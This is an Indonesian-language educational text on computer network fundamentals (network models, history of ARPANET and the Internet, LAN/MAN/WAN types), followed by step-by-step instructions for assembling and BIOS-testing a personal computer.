Jaringan Komputer

Tiga abad sebelum sekarang, masing-masing ditandai dengan dominasi yang berbeda. Abad ke-18 didominasi oleh perkembangan sistem mekanik yang mengiringi revolusi industri. Abad ke-19 merupakan jaman mesin uap. Abad ke-20, teknologi radio, tv dan komputer memegang peranan untuk pengumpulan, pengolahan dan media distribusi informasi. Abad ke-21 saat ini atau era-informasi, dimana teknologi jaringan komputer global yang mampu menjangkau seluruh wilayah dunia, pengembangan sistem dan teknologi yang digunakan, penyebaran informasi melalui media internet, peluncuran satelit-satelit komunikasi dan perangkat komunikasi wireless/selular menandai awal abad millenium.

Sejak me-masyarakat-nya internet dan dipasarkannya sistem operasi Windows95 oleh Microsoft Inc., menghubungkan beberapa komputer baik komputer pribadi (PC) maupun server dengan sebuah jaringan dari jenis LAN (Local Area Network) sampai WAN (Wide Area Network) menjadi sebuah hal yang mudah dan biasa. Demikian pula dengan konsep “downsizing” maupun “lightsizing” yang bertujuan menekan anggaran belanja (efisiensi anggaran) khususnya peralatan komputer, maka kebutuhan akan sebuah jaringan komputer merupakan satu hal yang tidak bisa terelakkan.

1.1      Pengertian Jaringan Komputer

Jaringan komputer adalah ”interkoneksi” antara 2 komputer autonomous atau lebih, yang terhubung dengan media transmisi kabel atau tanpa kabel (wireless).
Autonomous adalah apabila sebuah komputer tidak melakukan kontrol terhadap komputer lain dengan akses penuh, sehingga dapat membuat komputer lain, restart, shutdows, kehilangan file atau kerusakan sistem.
Dalam defenisi networking yang lain autonomous dijelaskan sebagai jaringan yang independent dengan manajemen sistem sendiri (punya admin sendiri), memiliki topologi jaringan, hardware dan software sendiri, dan dikoneksikan dengan jaringan autonomous yang lain. (Internet merupakan contoh kumpulan jaringan autonomous yang sangat besar.)
Dua unit komputer dikatakan terkoneksi apabila keduanya bisa saling bertukar data/informasi, berbagi resource yang dimiliki, seperti: file, printer, media penyimpanan (hardisk, floppy disk, cd-rom, flash disk, dll). Data yang berupa teks, audio maupun video, bergerak melalui media kabel atau tanpa kabel (wireless) sehingga memungkinkan pengguna komputer dalam jaringan komputer  dapat saling bertukar  file/data, mencetak pada printer yang sama dan menggunakan hardware/software  yang terhubung dalam jaringan bersama-sama
Tiap  komputer, printer atau  periferal  yang terhubung dalam jaringan disebut dengan ”node”. Sebuah jaringan komputer sekurang-kurangnya terdiri dari dua unit komputer atau lebih, dapat berjumlah puluhan komputer, ribuan atau bahkan jutaan node yang saling terhubung satu sama lain.
Didalam jaringan komputer dikenal sistem koneksi antar node (komputer),  yakni:

1.1.1 Peer to peer

Peer artinya rekan sekerja. Peer-to-peer network adalah jaringan komputer yang terdiri dari beberapa komputer, terhubung langsung dengan kabel crossover atau wireless atau juga dengan perantara hub/switch.
Komputer pada jaringan peer to peer ini biasanya berjumlah sedikit dengan 1-2 printer. Untuk penggunaan khusus, seperti laboratorium komputer, riset dan beberapa hal lain, maka model peer to peer ini bisa saja dikembangkan untuk koneksi lebih dari 10 hingga 100 komputer.
Peer to peer adalah suatu model dimana tiap PC dapat memakai resource pada PC lain atau memberikan resourcenya untuk dipakai  PC lain, Tidak ada yang bertindak sebagai server yang mengatur sistem komunikasi dan penggunaan resource komputer yang terdapat dijaringan, dengan kata lain setiap komputer dapat berfungsi sebagai client maupun server pada periode yang sama.
Misalnya terdapat beberapa unit komputer dalam satu departemen, diberi nama group sesuai dengan departemen yang bersangkutan. Masing-masing komputer diberi alamat IP dari satu kelas IP yang sama agar bisa saling sharing untuk bertukar data atau resource yang dimiliki komputer masing-masing, seperti printer, cdrom, file dan lain-lain.

Gambar 1.1. Peer to peer

1.1.2 Client – Server

Client Server merupakan model jaringan yang menggunakan satu atau beberapa komputer sebagai server yang memberikan resource-nya kepada komputer lain (client) dalam jaringan, server akan mengatur mekanisme akses resource yang boleh digunakan, serta mekanisme komunikasi antar node dalam jaringan.
Selain pada jaringan lokal, sistem ini bisa juga diterapkan dengan teknologi internet. Dimana ada suatu unit komputer) berfungsi sebagai server yang hanya memberikan pelayanan bagi komputer lain, dan client yang juga hanya meminta layanan dari server. Akses dilakukan secara transparan dari client dengan melakukan login terlebih dulu ke server yang dituju.
Client hanya bisa menggunakan resource yang disediakan server sesuai dengan otoritas yang diberikan oleh administrator. Aplikasi yang dijalankan pada sisi client, bisa saja merupakan resource yang tersedia di server. namun hanya bisa dijalankan setelah terkoneksi ke server. Pada implementasi software splikasi yang di-install disisi client berbeda dengan yang digunakan di server.
Jenis layanan Client-Server antara lain :
File Server : memberikan layanan fungsi pengelolaan file.
Print Server : memberikan layanan fungsi pencetakan.
Database Server : proses-proses fungsional mengenai database dijalankan pada mesin ini dan stasiun lain dapat minta pelayanan.
DIP (Document Information Processing) : memberikan pelayanan fungsi penyimpanan, manajemen dan pengambilan data.
Gambar 1.2. Model Client-Server dengan sebuah Server yang berfungsi umum
Gambar 1.3. Model Client-Server dengan Dedicated Server

1.1.3 Kelebihan jaringan peer to peer
ü       Implementasinya murah dan mudah
ü       Tidak memerlukan software administrasi jaringan yang khusus
ü       Tidak memerlukan administrator jaringan
1.1.4 Kekurangan jaringan peer to peer
ü       Jaringan tidak bisa terlalu besar (tidak bisa memperbesar jaringan)
ü       Tingkat keamanan rendah
ü       Tidak ada yang memanajemen jaringan
ü       Pengguna komputer jaringan harus terlatih mengamankan komputer masing-masing
ü       Semakin banyak mesin yang disharing, akan mempengaruhi kinerja komputer
1.1.5 Kelebihan jaringan client server
ü       Mendukung keamanan jaringan yang lebih baik
ü       Kemudahan administrasi ketika jaringan bertambah besar
ü       Manajemen jaringan terpusat
ü       Semua data bisa disimpan dan di backup terpusat di satu lokasi
1.1.6 Kekurangan jaringan client server
ü   Butuh administrator jaringan yang profesional
ü   Butuh perangkat bagus untuk digunakan sebagai komputer server
ü   Butuh software tool operasional untuk mempermudah manajemen jaringan
ü   Anggaran untuk manajemen jaringan menjadi besar
ü   Bila server down, semua data dan resource diserver tidak bisa diakses

1.2   Jaringan Komputer dan Sistem Terdistribusi

Sebelum jaringan komputer popular, user komputer pernah mengenal sistem terdistribusi. Terdapat hal yang cukup membingungkan dalam pemakaian istilah jaringan komputer dan sistem terdistribusi (distributed system).
Persamaannya adalah keduanya merupakan sekumpulan komputer yang saling terkoneksi dengan dengan media transmisi yang relatif tidak jauh berbeda, sama-sama harus memindahkan file. Perbedaan yang lebih spesifik antara Jaringan Komputer dan Sistem Distribusi sbb:
Tabel 1.1. Perbedaan Jaringan Komputer & Sistem Terdistribusi
JARINGAN KOMPUTER SISTEM TERDISTRIBUSI
Komputer yang terhubung merupakan gabungan yang terdiri dari beberapa workstation atau juga gabungan komputer server dan client Komputer yang terhubung terdiri dari host (komputer utama) dan terminal-terminal (komputer yang terhubung dengan komputer host)
Beberapa komputer terhubung agar dapat sharing, namun tiap pekerjaan ditangani sendiri sendiri oleh komputer yang meminta dan dimintai layanan. Server hanya melayani permintaan sesuai antrian yang sudah diatur sistem. Beberapa host komputer terhubung agar dapat mengerjakan sebuah atau beberapa pekerjaan besar bersama. Host melayani beberapa terminal dan melakukan proses berdasarkan input dari terminal-terminal
Kualitas komunikasi data dipengaruhi oleh media transmisi yang digunakan. Lamanya suatu proses dipengaruhi oleh spesifikasi hardware masing-masing station yg meminta layanan.
User dapat mengetahui proses yang sedang berlangsung (di komp station atau di server).
Kualitas komunikasi data dipengaruhi oleh sistem.
Lamanya suatu proses tergantung Sistem Operasi yang akan memilih prosesor komputer mana yang akan digunakan.
User tidak dapat mengetahui proses yang sedang berlangsung di host.
Metode komunikasi antar komputer dengan model Peer to Peer atau Client Server. Metode komunikasi antar komputer tersentralisasi (terpusat pada komputer utama/host)
Masing-masing node atau workstation (pada metode peer to peer) tidak membutuhkan komputer server khusus untuk menangani seluruh pekerjaan. Antar node bisa saling bertukar file atau resource yang dimiliki, sesuai keinginan/permission yg diatur pemilik komputer. Masing-masing terminal membutuhkan host (komputer utama) untuk dapat aktif melakukan pekerjaan dan berkomunikasi dengan terminal lain. Antar terminal tidak dapat saling sharing file atau resource tanpa campur tangan host (supervisor host).
Masing-masing user disetiap workstation (client) sadar betul akan proses yang sedang terjadi apabila ia meminta layanan atau mengirimkan data keserver. User secara explisit (nyata) harus “login” pada server, kalau ingin memanfaatkan resource yang dimiliki oleh server. Secara explisit menyampaikan tugasnya dari jauh, secara explisit memindahkan file-file, namun secara umum menangani sendiri seluruh manajemen jaringan. Masing-masing user disetiap terminal tidak dapat menyadari proses yang berlangsung pada sistem
User tidak perlu melakukan pekerjaan secara explisit, karena semua proses dan manajemen dilakukan/ ditangani secara otomatis oleh sistem tanpa diketahui user. Meskipun secara umum seorang user pada tiap terminal juga harus login untuk bisa memanfaatkan resource host.
Tiap user memiliki identitas & password yang unik untuk dapat login serta menggunakan resource yang terdapat di server. Umumnya user tidak bisa menggunakan ID yang sama, untuk login ke server, namun policy seorang Admin dapat merubah aturan ini agar sebuah ID dapat digunakan bersama-sama secara terbatas. Tiap user juga memiliki ID dan password untuk dapat login ke host & menggunakan resource yang disediakan. Umumnya beberapa terminal dapat menggunakan ID yang sama untuk login ke komp host, namun Admin/Supervisor sistem dapat merubah dengan hanya mengijinkan satu ID untuk tiap terminal.
Keberadaan sejumlah komputer dalam jaringan tidak harus transparan disatu lokasi, sehingga secara fisik tidak dapat dilihat oleh user lain yang berada dalam jaringan. Keberadaan sebuah atau sejumlah komputer atau terminal autonomous, bersifat transparan (jelas) bagi user, biasanya berada dalam suatu area lokasi.
Spesifikasi hardware server tidak harus lebih baik dari hardware client Spesifikasi hardware host (komputer utama) harus lebih baik dari terminal.
Merupakan sistem yang menggabungkan kinerja perangkat dan aplikasi dari physical layer sampai dengan application layer Merupakan suatu sistem perangkat lunak yang dibuat dan bekerja pada lapisan atas sebuah sistem jaringan.
Perbedaan utama antara jaringan komputer dan sistem terdistribusi lebih terletak pada perangkat lunaknya (khususnya sistem operasi) bukan pada perangkat kerasnya, karena perangkat lunaklah yang menentukan tingkat keterpaduan dan transparansi jaringan yang bersangkutan.

1.3   Sejarah Jaringan & Internet

1.3.1 Jaringan Komputer

Ditahun 1950-an ketika jenis komputer mulai membesar sampai terciptanya super komputer, maka sebuah komputer mesti melayani beberapa terminal. (Lihat Gambar 1.4) Untuk itu ditemukan konsep distribusi proses berdasarkan waktu yang dikenal dengan nama TSS (Time Sharing System), dan untuk pertama kali terbentuklah jaringan (network) komputer pada lapis aplikasi.
Pada sistem TSS beberapa terminal terhubung ke sebuah host komputer. Dalam proses TSS mulai nampak perpaduan teknologi komputer dan teknologi telekomunikasi yang pada awalnya berkembang sendiri-sendiri.
Gambar 1.4. Jaringan komputer model TSS.
Pada tahun 1957 Advanced Research Projects Agency (ARPA) dibentuk oleh Departement of Defence (DoD) USA, 1967 disain awal dari ARPANET diterbitkan dan tahun 1969 DoD menggelar pengembangan ARPANET dengan mengadakan riset untuk menghubungkan sejumlah komputer sehingga membentuk jaringan organik (program ini dikenal dengan nama ARPANET).
Gambar 1.5. Jaringan komputer model distributed processing.
Seperti pada Gambar diatas, dalam proses ini beberapa host komputer mengerjakan sebuah pekerjaan besar secara seri untuk melayani beberapa terminal yang tersambung secara paralel disetiap host komputer. Pada proses distribusi sudah mutlak diperlukan perpaduan yang mendalam antara teknologi komputer dan telekomunikasi, karena selain proses yang harus didistribusikan, semua host komputer wajib melayani terminal-terminalnya dalam satu perintah dari komputer pusat.
Selanjutnya ketika harga-harga komputer kecil sudah mulai menurun dan konsep proses distribusi sudah matang, maka penggunaan komputer dan jaringannya sudah mulai beragam, dari mulai menangani proses bersama-sama maupun komunikasi antar komputer (Peer to Peer System) tanpa melalui kendali komputer pusat. Untuk itu mulailah berkembang teknologi jaringan lokal yang dikenal dengan sebutan LAN. Demikian pula ketika Internet mulai diperkenalkan, maka sebagian besar LAN yang berdiri sendiri mulai berhubungan satu sama lain, hingga terbentuklah jaringan raksasa WAN.














1.3.2 Sejarah Singkat Internet dan Web
1957:  Advanced Research Projects Agency (ARPA) dibentuk oleh Departement of Defence (DoD) USA.
1959: Len Kleinrock menulis paper tentang packet switching.
1967: Disain awal dari ARPANET diterbitkan.
1969: DoD menggelar pengembangan ARPANET
1970: ARPANET mulai menggunakan Network Control Protocol (NCP)
1972:  InterNetworking Working Group(INWG) dibentuk untuk mempromosikan standar yang sudah disepakati bersama. Spesifikasi dari telnet, diusulkan.
1973:  Ide ethernet dijabarkan dalam thesis PhD dari Bob Metcalfe. Spesifikasi untuk File Transfer, RFC 454, diusulkan.
1974:  Disain dari TCP/IP dijabarkan secara rinci oleh Vint Cerf dan Bob Kahn dalam “A Protocol for Packet Network Intercommunication”.
1982:  TCP/IP menjadi protokol untuk ARPANET dan ini dispesifikasikan oleh DoD.
1992: Jumlah Internet hosts melampaui 1.000.000. Tim Berners Lee menemukan program editor dan browser. University of Nevada mengeluarkan sistem Veronica. Sebuah WWW browser yang bernama Viola diluncurkan oleh Pei Wei dan didistribusikan bersama CERN WWW.
1993:  NSF membuat InterNIC untuk menjalankan Internet service seperti pendaftaran domain.Versi pertama dari Mosaic (untuk X Window) yang dikembangkan oleh Marc Andreesen dikeluarkan oleh NCSA White House online. National Information Infrastructure Act lolos dan pemerintah Amerika Serikat mulai lebih serius dalam penanganan Website.
1994: PizzaHut online, merupakan contoh pertama dari aplikasi komerisal Internet. Spam mail menjadi kasus besar setelah sebuah lembaga hukum yang bernama Canter & Siegel menyebarkan mail ke seluruh dunia tentang servis untuk mendapatkan “green card”. First Virtual menjalankan “CyberBank” yang pertama. Ditahun 1994 ini Yahoo! didirikan dan juga menjadi tahun kelahiran Netscape Navigator 1.0.
1995: Compuserve, America Online, dan Prodiy mulai memberikan servis akses keInternet.Perusahaan Marc Andreesen, Netscape Communication Corporation, menjadi publik dan menjadi nomor 3 tertinggi untuk harga Initial Public Offericng (IPO) share di NASDAQ. NFS tidak lagi meng-gratiskan pendaftaran domain. Pengguna domain mulai membayar untuk sebuah domain yang digunakan dan dihosting ke internet.

1.4  Tujuan / Manfaat Jaringan Komputer

Manfaat jaringan komputer bagi user dapat dikelompokkan menjadi dua, yaitu: untuk kebutuhan perusahaan, dan jaringan untuk umum.
Tujuan utama dari terbangunnya sebuah jaringan pada suatu perusahaan adalah:
Resource sharing yang bertujuan agar seluruh program, peralatan, khususnya data dapat digunakan oleh setiap orang yang ada pada jaringan.
Saving Money (Penghematan uang/anggaran): Perangkat dan data yang dapat dishare akan membuat penghematan anggaran yang cukup besar, karena tidak perlu membeli perangkat baru untuk dipasang ditiap-tiap unit komputer
High reliability (kehandalan tinggi): Sistem Informasi Manajemen Kantor Terpadu atau Sistem Pelayanan Satu Atap dengan teknologi client-server, internet maupun intranet dapat diterapkan pada jaringan komputer, sehingga dapat memberikan pelayanan yang handal, cepat dan akurat sesuai kebutuhan dan harapan.
Manfaat jaringan komputer untuk umum:
Jaringan komputer akan memberikan layanan yang berbeda kepada pengguna di rumah-rumah dibandingkan dengan layanan yang diberikan pada perusahaan. Terdapat tiga hal pokok yang  mejadi daya tarik jaringan komputer pada  perorangan yaitu:
  • access ke informasi  yang berada di tempat lain (seperti akses berita terkini, info e-goverment, e-commerce atau e-business, semuanya up to date).
  • komunikasi person to person (seperti e-mail, chatting, video conferene dll).
  • hiburan interaktif (seperti nonton acara tv on-line, radio streaming, download film atau lagu, dll).

1.5   Masalah-masalah sosial yang ditimbulkan dari Jaringan Komputer (internet)

Penggunaan jaringan oleh masyarakat luas akan menyebabkan timbulnya masalah-masalah sosial, etika, politik, maupun ekonomi yang tak terelakkan. Internet telah masuk ke segala  penjuru kehidupan masyarakat, semua orang dapat  memanfaatkannya tanpa memandang status sosial, usia, juga jenis kelamin.
Penggunaan internet tidak akan menimbulkan masalah selama subyeknya terbatas pada topik-topik teknis, pendidikan atau hobi, juga hal-hal yang masih dalam batas norma-norma kehidupan, tetapi kesulitan mulai muncul bila suatu situs di internet mempunyai topik yang sangat menarik perhatian orang, seperti pertentangan politik, agama, sex, dll.
Koneksi jaringan komputer/internet ini juga akan menimbulkan masalah ekonomi yang serius bila teknologinya dimanfaatkan oleh fihak-fihak tertentu yang ingin mengambil keuntungan pribadi namun merugikan fihak lain, misalnya kegiatan carding, download software komersil secara ilegal dll.
Gambar-gambar yang dipasang disitus-situs internet mungkin merupakan sesuatu yang biasa bagi sebahagian orang, namun sangat mengganggu bagi sebagian orang lain (karena bisa menimbulkan masalah SARA).
Selain itu, bentuk pesan-pesan tidaklah terbatas hanya pesan tekstual saja. Foto berwarna dengan resolusi tinggi dan bahkan videoclip singkatpun sekarang sudah dapat dengan mudah disebar-luaskan melalui jaringan komputer.
Sebagian orang dapat bersikap acuh tak acuh, tapi bagi sebagian lainnya pemasangan materi tertentu (misalnya pornografi) merupakan sesuatu yang tidak dapat diterima.

1.6   Jenis-Jenis jaringan

Secara umum jaringan komputer  terbagi menjadi 3 jenis jaringan yaitu :

1.6.1 Local Area Network (LAN)

Sebuah LAN, adalah jaringan yang dibatasi oleh area yang relatif kecil, umumnya dibatasi oleh area lingkungan, seperti sebuah kantor pada sebuah gedung, atau tiap-tiap ruangan pada sebuah sekolah. Biasanya jarak antar node tidak lebih jauh dari sekitar 200 m.
Gambar 1.6. Local Area Network (LAN)

1.6.2 Metropolitan Area Network (MAN)

Sebuah MAN, biasanya meliputi area yang lebih besar dari LAN, misalnya antar gedung dalam suatu daerah (wilayah seperti propinsi atau negara bagian). Dalam hal ini jaringan menghubungkan beberapa buah jaringan kecil ke dalam lingkungan area yang lebih besar, sebagai contoh yaitu: jaringan beberapa kantor cabang sebuah bank didalam sebuah kota besar yang dihubungkan antara satu dengan lainnya.
Gambar 1.7. Metropolitan Area Network

1.6.3 Wide Area Network (WAN)

Wide Area Network (WAN) adalah jaringan yang biasanya sudah menggunakan media wireless, sarana satelit ataupun kabel serat optic, karena jangkauannya yang lebih luas, bukan hanya meliputi satu kota atau antar kota dalam suatu wilayah, tetapi mulai menjangkau area/wilayah otoritas negara lain.
Sebagai contoh jaringan komputer kantor City Bank yang ada di Indonesia ataupun yang ada di negara lain, yang saling berhubungan, jaringan ATM Master Card, Visa Card atau Cirrus yang tersebar diseluruh dunia dan lain-lain.
Biasanya  WAN  lebih  rumit dan sangat kompleks bila dibandingkan LAN maupun MAN. Menggunakan banyak sarana untuk menghubungkan antara LAN dan WAN kedalam komunikasi global seperti internet, meski demikian antara LAN, MAN dan WAN tidak banyak berbeda dalam beberapa hal, hanya lingkup areanya saja yang berbeda satu diantara yang lainnya.
Gambar 1.8. Wide Area Network
Tabel 1.2. Interkoneksi berdasarkan jarak antar node
Nilai-nilai yang terdapat pada tabel diatas, bukan merupakan nilai mutlak bagi jarak yang menghubungkan antar komputer, karena jarak tersebut bisa saja lebih pendek tergantung kondisi area suatu wilayah.


1.7 Rangkuman
Jaringan komputer (jarkom) adalah ”interkoneksi” antara 2 komputer autonomous atau lebih, yang terhubung dengan media transmisi kabel atau tanpa kabel (wireless).
Dua unit komputer dikatakan terkoneksi apabila keduanya bisa saling bertukar data/informasi, berbagi resource yang dimiliki, seperti: file, printer, media penyimpanan (hardisk, floppy disk, cd-rom, flash disk, dll).
Tiap  komputer, printer atau  periferal  yang terhubung dalam jaringan disebut dengan ”node”. Sebuah jaringan komputer sekurang-kurangnya terdiri dari dua unit komputer atau lebih.
Peer to peer adalah suatu model dimana tiap PC dapat memakai resource pada PC lain atau memberikan resourcenya untuk dipakai  PC lain, Tidak ada yang bertindak sebagai server yang mengatur sistem komunikasi dan penggunaan resource komputer yang terdapat dijaringan, dengan kata lain setiap komputer dapat berfungsi sebagai client maupun server pada periode yang sama.
Client Server merupakan model jaringan yang menggunakan satu atau beberapa komputer sebagai server yang memberikan resource-nya kepada komputer lain (client) dalam jaringan.

MERAKIT KOMPUTER

MERAKIT SENDIRI KOMPUTER
Komponen perakit komputer tersedia di pasaran dengan beragam pilihan kualitas dan harga. Dengan merakit sendiri komputer, kita dapat menentukan jenis komponen, kemampuan serta fasilitas dari komputer sesuai kebutuhan. Tahapan dalam perakitan komputer terdiri dari:
A. Persiapan
B. Perakitan
C. Pengujian
D. Penanganan Masalah

Persiapan
Persiapan yang baik akan memudahkan dalam perakitan komputer serta menghindari permasalahan yang mungkin timbul.
Hal yang terkait dalam persiapan meliputi:
  1. Penentuan Konfigurasi Komputer
  2. Persiapan Kompunen dan perlengkapan
  3. Pengamanan
Penentuan Konfigurasi Komputer
Konfigurasi komputer berkait dengan penentuan jenis komponen dan fitur dari komputer serta bagaimana seluruh komponen dapat bekerja sebagai sebuah sistem komputer sesuai keinginan kita.
Penentuan komponen dimulai dari jenis prosessor, motherboard, lalu komponen lainnya. Faktor kesesuaian atau kompatibilitas dari komponen terhadap motherboard harus diperhatikan, karena setiap jenis motherboard mendukung jenis prosessor, modul memori, port dan I/O bus yang berbeda-beda.
Persiapan Komponen dan Perlengkapan
Komponen komputer beserta perlengkapan untuk perakitan dipersiapkan untuk perakitan dipersiapkan lebih dulu untuk memudahkan perakitan. Perlengkapan yang disiapkan terdiri dari:
  • Komponen komputer
  • Kelengkapan komponen seperti kabel, sekerup, jumper, baut dan sebagainya
  • Buku manual dan referensi dari komponen
  • Alat bantu berupa obeng pipih dan philips
  • Software sistem operasi, device driver dan program aplikasi.

Buku manual diperlukan sebagai rujukan untuk mengatahui diagram posisi dari elemen koneksi (konektor, port dan slot) dan elemen konfigurasi (jumper dan switch) beserta cara setting jumper dan switch yang sesuai untuk komputer yang dirakit.
Diskette atau CD Software diperlukan untuk menginstall Sistem Operasi, device driver dari piranti, dan program aplikasi pada komputer yang selesai dirakit.
Pengamanan
Tindakan pengamanan diperlukan untuk menghindari masalah seperti kerusakan komponen oleh muatan listrik statis, jatuh, panas berlebihan atau tumpahan cairan.
Pencegahan kerusakan karena listrik statis dengan cara:
  • Menggunakan gelang anti statis atau menyentuh permukaan logam pada casing sebelum memegang komponen untuk membuang muatan statis.
  • Tidak menyentuh langsung komponen elektronik, konektor atau jalur rangkaian tetapi memegang pada badan logam atau plastik yang terdapat pada komponen.

Perakitan
Tahapan proses pada perakitan komputer terdiri dari:
  1. Penyiapan motherboard
  2. Memasang Prosessor
  3. Memasang heatsink
  4. Memasang Modul Memori
  5. memasang Motherboard pada Casing
  6. Memasang Power Supply
  7. Memasang Kabel Motherboard dan Casing
  8. Memasang Drive
  9. Memasang card Adapter
  10. Penyelesaian Akhir
1. Penyiapan motherboard
Periksa buku manual motherboard untuk mengetahui posisi jumper untuk pengaturan CPU speed, speed multiplier dan tegangan masukan ke motherboard. Atur seting jumper sesuai petunjuk, kesalahan mengatur jumper tegangan dapat merusak prosessor.
2. Memasang Prosessor
Prosessor lebih mudah dipasang sebelum motherboard menempati casing. Cara memasang prosessor jenis socket dan slot berbeda.
Jenis socket
  1. Tentukan posisi pin 1 pada prosessor dan socket prosessor di motherboard, umumnya terletak di pojok yang ditandai dengan titik, segitiga atau lekukan.
  2. Tegakkan posisi tuas pengunci socket untuk membuka.
  3. Masukkan prosessor ke socket dengan lebih dulu menyelaraskan posisi kaki-kaki prosessor dengan lubang socket. rapatkan hingga tidak terdapat celah antara prosessor dengan socket.
  4. Turunkan kembali tuas pengunci.
Jenis Slot
  1. Pasang penyangga (bracket) pada dua ujung slot di motherboard sehingga posisi lubang pasak bertemu dengan lubang di motherboard
  2. Masukkan pasak kemudian pengunci pasak pada lubang pasak
  3. Selipkan card prosessor di antara kedua penahan dan tekan hingga tepat masuk ke lubang slot.
3. Memasang Heatsink
Fungsi heatsink adalah membuang panas yang dihasilkan oleh prosessor lewat konduksi panas dari prosessor ke heatsink.
Untuk mengoptimalkan pemindahan panas maka heatsink harus dipasang rapat pada bagian atas prosessor dengan beberapa clip sebagai penahan sedangkan permukaan kontak pada heatsink dilapisi gen penghantar panas.
Bila heatsink dilengkapi dengan fan maka konektor power pada fan dihubungkan ke konektor fan pada motherboard.
4. Memasang Modul Memori
Modul memori umumnya dipasang berurutan dari nomor socket terkecil. Urutan pemasangan dapat dilihat dari diagram motherboard.
Setiap jenis modul memori yakni SIMM, DIMM dan RIMM dapat dibedakan dengan posisi lekukan pada sisi dan bawah pada modul.
Cara memasang untuk tiap jenis modul memori sebagai berikut.
Jenis SIMM
  1. Sesuaikan posisi lekukan pada modul dengan tonjolan pada slot.
  2. Masukkan modul dengan membuat sudut miring 45 derajat terhadap slot
  3. Dorong hingga modul tegak pada slot, tuas pengunci pada slot akan otomatis mengunci modul.
Jenis DIMM dan RIMM
Cara memasang modul DIMM dan RIMM sama dan hanya ada satu cara sehingga tidak akan terbalik karena ada dua lekukan sebagai panduan. Perbedaanya DIMM dan RIMM pada posisi lekukan
  1. Rebahkan kait pengunci pada ujung slot
  2. sesuaikan posisi lekukan pada konektor modul dengan tonjolan pada slot. lalu masukkan modul ke slot.
  3. Kait pengunci secara otomatis mengunci modul pada slot bila modul sudah tepat terpasang.
5. Memasang Motherboard pada Casing
Motherboard dipasang ke casing dengan sekerup dan dudukan (standoff). Cara pemasangannya sebagai berikut:
  1. Tentukan posisi lubang untuk setiap dudukan plastik dan logam. Lubang untuk dudukan logam (metal spacer) ditandai dengan cincin pada tepi lubang.
  2. Pasang dudukan logam atau plastik pada tray casing sesuai dengan posisi setiap lubang dudukan yang sesuai pada motherboard.
  3. Tempatkan motherboard pada tray casing sehinga kepala dudukan keluar dari lubang pada motherboard. Pasang sekerup pengunci pada setiap dudukan logam.
  4. Pasang bingkai port I/O (I/O sheild) pada motherboard jika ada.
  5. Pasang tray casing yang sudah terpasang motherboard pada casing dan kunci dengan sekerup.
6. Memasang Power Supply
Beberapa jenis casing sudah dilengkapi power supply. Bila power supply belum disertakan maka cara pemasangannya sebagai berikut:
  1. Masukkan power supply pada rak di bagian belakang casing. Pasang ke empat buah sekerup pengunci.
  2. HUbungkan konektor power dari power supply ke motherboard. Konektor power jenis ATX hanya memiliki satu cara pemasangan sehingga tidak akan terbalik. Untuk jenis non ATX dengan dua konektor yang terpisah maka kabel-kabel ground warna hitam harus ditempatkan bersisian dan dipasang pada bagian tengah dari konektor power motherboard. Hubungkan kabel daya untuk fan, jika memakai fan untuk pendingin CPU.

7. Memasang Kabel Motherboard dan Casing
Setelah motherboard terpasang di casing langkah selanjutnya adalah memasang kabel I/O pada motherboard dan panel dengan casing.
  1. Pasang kabel data untuk floppy drive pada konektor pengontrol floppy di motherboard
  2. Pasang kabel IDE untuk pada konektor IDE primary dan secondary pada motherboard.
  3. Untuk motherboard non ATX. Pasang kabel port serial dan pararel pada konektor di motherboard. Perhatikan posisi pin 1 untuk memasang.
  4. Pada bagian belakang casing terdapat lubang untuk memasang port tambahan jenis non slot. Buka sekerup pengunci pelat tertutup lubang port lalumasukkan port konektor yang ingin dipasang dan pasang sekerup kembali.
  5. Bila port mouse belum tersedia di belakang casing maka card konektor mouse harus dipasang lalu dihubungkan dengan konektor mouse pada motherboard.
  6. Hubungan kabel konektor dari switch di panel depan casing, LED, speaker internal dan port yang terpasang di depan casing bila ada ke motherboard. Periksa diagram motherboard untuk mencari lokasi konektor yang tepat.
8. Memasang Drive
Prosedur memasang drive hardisk, floppy, CD ROM, CD-RW atau DVD adalah sama sebagai berikut:
  1. Copot pelet penutup bay drive (ruang untuk drive pada casing)
  2. Masukkan drive dari depan bay dengan terlebih dahulu mengatur seting jumper (sebagai master atau slave) pada drive.
  3. Sesuaikan posisi lubang sekerup di drive dan casing lalu pasang sekerup penahan drive.
  4. Hubungkan konektor kabel IDE ke drive dan konektor di motherboard (konektor primary dipakai lebih dulu)
  5. Ulangi langkah 1 samapai 4 untuk setiap pemasangan drive.
  6. Bila kabel IDE terhubung ke du drive pastikan perbedaan seting jumper keduanya yakni drive pertama diset sebagai master dan lainnya sebagai slave.
  7. Konektor IDE secondary pada motherboard dapat dipakai untuk menghubungkan dua drive tambahan.
  8. Floppy drive dihubungkan ke konektor khusus floppy di motherboard
  9. Sambungkan kabel power dari catu daya ke masing-masing drive.

9. Memasang Card Adapter
Card adapter yang umum dipasang adalah video card, sound, network, modem dan SCSI adapter. Video card umumnya harus dipasang dan diinstall sebelum card adapter lainnya.
Cara memasang adapter:
  1. Pegang card adapter pada tepi, hindari menyentuh komponen atau rangkaian elektronik. Tekan card hingga konektor tepat masuk pada slot ekspansi di motherboard
  2. Pasang sekerup penahan card ke casing
  3. Hubungkan kembali kabel internal pada card, bila ada.
10. Penyelessaian Akhir
  1. Pasang penutup casing dengan menggeser
  2. sambungkan kabel dari catu daya ke soket dinding.
  3. Pasang konektor monitor ke port video card.
  4. Pasang konektor kabel telepon ke port modem bila ada.
  5. Hubungkan konektor kabel keyboard dan konektor mouse ke port mouse atau poert serial (tergantung jenis mouse).
  6. Hubungkan piranti eksternal lainnya seperti speaker, joystick, dan microphone bila ada ke port yang sesuai. Periksa manual dari card adapter untuk memastikan lokasi port.
Pengujian
Komputer yang baru selesai dirakit dapat diuji dengan menjalankan program setup BIOS. Cara melakukan pengujian dengan program BIOS sebagai berikut:
  1. Hidupkan monitor lalu unit sistem. Perhatikan tampilan monitor dan suara dari speaker.
  2. Program FOST dari BIOS secara otomatis akan mendeteksi hardware yang terpasang dikomputer. Bila terdapat kesalahan maka tampilan monitor kosong dan speaker mengeluarkan bunyi beep secara teratur sebagai kode indikasi kesalahan. Periksa referensi kode BIOS untuk mengetahui indikasi kesalahan yang dimaksud oleh kode beep.
  3. Jika tidak terjadi kesalahan maka monitor menampilkan proses eksekusi dari program POST. ekan tombol interupsi BIOS sesuai petunjuk di layar untuk masuk ke program setup BIOS.
  4. Periksa semua hasil deteksi hardware oleh program setup BIOS. Beberapa seting mungkin harus dirubah nilainya terutama kapasitas hardisk dan boot sequence.
  5. Simpan perubahan seting dan keluar dari setup BIOS.
